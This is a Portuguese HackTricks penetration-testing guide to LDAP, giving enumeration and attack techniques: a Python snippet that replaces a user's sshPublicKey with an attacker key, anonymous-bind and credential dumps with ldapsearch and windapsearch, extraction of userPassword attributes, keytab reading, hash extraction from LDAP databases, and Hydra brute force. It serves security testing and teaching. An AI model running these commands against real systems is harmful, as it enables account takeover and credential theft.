# 389, 636, 3268, 3269 - Teste de penetração LDAP
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
## Informações Básicas O LDAP (Protocolo de Acesso a Diretórios Leves) é principalmente utilizado para a **localização** de entidades como organizações, indivíduos e vários **recursos** (por exemplo, arquivos, dispositivos) dentro de uma rede. Isso pode ser em uma plataforma pública como a Internet ou dentro de uma intranet privada. Como uma versão simplificada do Protocolo de Acesso a Diretórios (DAP), o LDAP envolve uma pegada de código reduzida. A estrutura de um diretório LDAP permite sua distribuição em vários servidores. Em cada um desses servidores, uma forma **replicada** do diretório inteiro existe e é **sincronizada** em intervalos regulares. Neste contexto, um servidor LDAP é referido como um Agente de Sistema de Diretório (DSA). Quando um usuário envia uma solicitação para um servidor LDAP, o servidor assume total responsabilidade por essa solicitação. Isso envolve a comunicação com outros DSAs, se necessário, mas, o mais importante, garante que o usuário receba uma resposta única e coesa. A organização de um diretório LDAP é semelhante a uma hierarquia de "árvore" simples, que inclui vários níveis: - O nível mais alto é o diretório raiz, que atua como a origem ou fonte da árvore. - Isso se ramifica para o próximo nível, países. - Cada país se divide em organizações. - As organizações se ramificam em unidades organizacionais. Essas unidades podem representar diferentes divisões ou departamentos. - O nível final inclui entidades individuais. Isso abrange não apenas pessoas, mas também recursos compartilhados como arquivos e impressoras. **Porta padrão:** 389 e 636 (ldaps). O Catálogo Global (LDAP no Active Directory) está disponível por padrão nas portas 3268 e 3269 para LDAPS. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### Formato de Intercâmbio de Dados LDAP LDIF (LDAP Data Interchange Format) define o conteúdo do diretório como um conjunto de registros. Também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear). ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` * As linhas 1-3 definem o domínio de nível superior local * As linhas 5-8 definem o domínio de primeiro nível moneycorp (moneycorp.local) * As linhas 10-16 definem 2 unidades organizacionais: dev e sales * As linhas 18-26 criam um objeto do domínio e atribuem atributos com valores ## Escrever dados Observe que se você puder modificar os valores, poderá realizar ações realmente interessantes. Por exemplo, imagine que **pode alterar as informações de "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que se esse atributo existir, então **o ssh está lendo as chaves públicas do LDAP**. Se você puder modificar a chave pública de um usuário, **poderá fazer login como esse usuário mesmo que a autenticação por senha não esteja habilitada no ssh**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` ## Capturar credenciais em texto claro Se o LDAP for usado sem SSL, você pode **capturar credenciais em texto claro** na rede. Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente**. Aqui você pode fazer um **Ataque de Degradação** para que o cliente use as **credenciais em texto claro** para fazer login. **Se o SSL for usado**, você pode tentar fazer um **MITM** como mencionado acima, mas oferecendo um **certificado falso**, se o **usuário aceitar**, você pode degradar o método de autenticação e ver as credenciais novamente. ## Acesso Anônimo ### Bypass na verificação do TLS SNI De acordo com [**este artigo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), apenas acessando o servidor LDAP com um nome de domínio arbitrário (como empresa.com), ele foi capaz de contatar o serviço LDAP e extrair informações como usuário anônimo: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### Ligações anônimas LDAP As [ligações anônimas LDAP](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permitem que **atacantes não autenticados** recuperem informações do domínio, como uma listagem completa de usuários, grupos, computadores, atributos de contas de usuário e a política de senha do domínio. Esta é uma **configuração legada**, e a partir do Windows Server 2003, apenas usuários autenticados têm permissão para iniciar solicitações LDAP.\ No entanto, os administradores podem ter precisado **configurar um aplicativo específico para permitir ligações anônimas** e concedido mais acesso do que o pretendido, dando assim acesso a usuários não autenticados a todos os objetos no AD. ## Credenciais Válidas Se você tiver credenciais válidas para fazer login no servidor LDAP, você pode extrair todas as informações sobre o Administrador de Domínio usando: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [Força Bruta](../generic-methodologies-and-resources/brute-force.md#ldap) ## Enumeração ### Automatizado Usando isso, você será capaz de ver as **informações públicas** (como o nome do domínio)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
Ver enumeração LDAP com python Você pode tentar **enumerar um LDAP com ou sem credenciais usando python**: `pip3 install ldap3` Primeiro tente **conectar sem** credenciais: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` Se a resposta for `True` como no exemplo anterior, você pode obter alguns **dados interessantes** do servidor LDAP (como o **contexto de nomeação** ou **nome de domínio**) a partir de: ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` Uma vez que você tenha o contexto de nomeação, você pode fazer algumas consultas mais emocionantes. Esta consulta simples deve mostrar todos os objetos no diretório: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` Ou **despeje** todo o ldap: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) é um script em Python útil para **enumerar usuários, grupos e computadores de um domínio do Windows** utilizando consultas LDAP. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch Verifique credenciais nulas ou se suas credenciais são válidas: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` Se encontrar algo dizendo que o "_bind deve ser concluído_" significa que as credenciais estão incorretas. Você pode extrair **tudo de um domínio** usando: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` Extrair **usuários**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` Extrair **computadores**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` Extrair **minha informação**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extrair **Domain Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extrair **Usuários do Domínio**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extrair **Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extrair **Administradores**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Extrair **Grupo de Área de Trabalho Remota**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Para verificar se você tem acesso a alguma senha, você pode usar o comando grep após executar uma das consultas: ```bash | grep -i -A2 -B2 "userpas" ``` #### pbis Você pode baixar **pbis** daqui: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) e geralmente é instalado em `/opt/pbis`.\ **Pbis** permite que você obtenha informações básicas facilmente: ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## Interface Gráfica ### Apache Directory [**Baixe o Apache Directory aqui**](https://directory.apache.org/studio/download/download-linux.html). Você pode encontrar um [exemplo de como usar essa ferramenta aqui](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s). ### jxplorer Você pode baixar uma interface gráfica com servidor LDAP aqui: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) Por padrão, ele é instalado em: _/opt/jxplorer_ ![](<../.gitbook/assets/image (22) (1).png>) ### Godap Você pode acessá-lo em [https://github.com/Macmod/godap](https://github.com/Macmod/godap) ## Autenticação via kerberos Usando `ldapsearch`, você pode **autenticar** contra **kerberos em vez** de via **NTLM** usando o parâmetro `-Y GSSAPI` ## POST Se você puder acessar os arquivos onde os bancos de dados estão contidos (podem estar em _/var/lib/ldap_). Você pode extrair os hashes usando: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` Pode alimentar o John com o hash da senha (de '{SSHA}' para 'structural' sem adicionar 'structural'). ### Arquivos de Configuração * Geral * containers.ldif * ldap.cfg * ldap.conf * ldap.xml * ldap-config.xml * ldap-realm.xml * slapd.conf * Servidor IBM SecureWay V3 * V3.sas.oc * Servidor Microsoft Active Directory * msadClassesAttrs.ldif * Servidor Netscape Directory Server 4 * nsslapd.sas\_at.conf * nsslapd.sas\_oc.conf * Servidor de diretório OpenLDAP * slapd.sas\_at.conf * slapd.sas\_oc.conf * Servidor Sun ONE Directory Server 5.1 * 75sas.ldif ## Comandos Automáticos do HackTricks ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP). https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ```
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.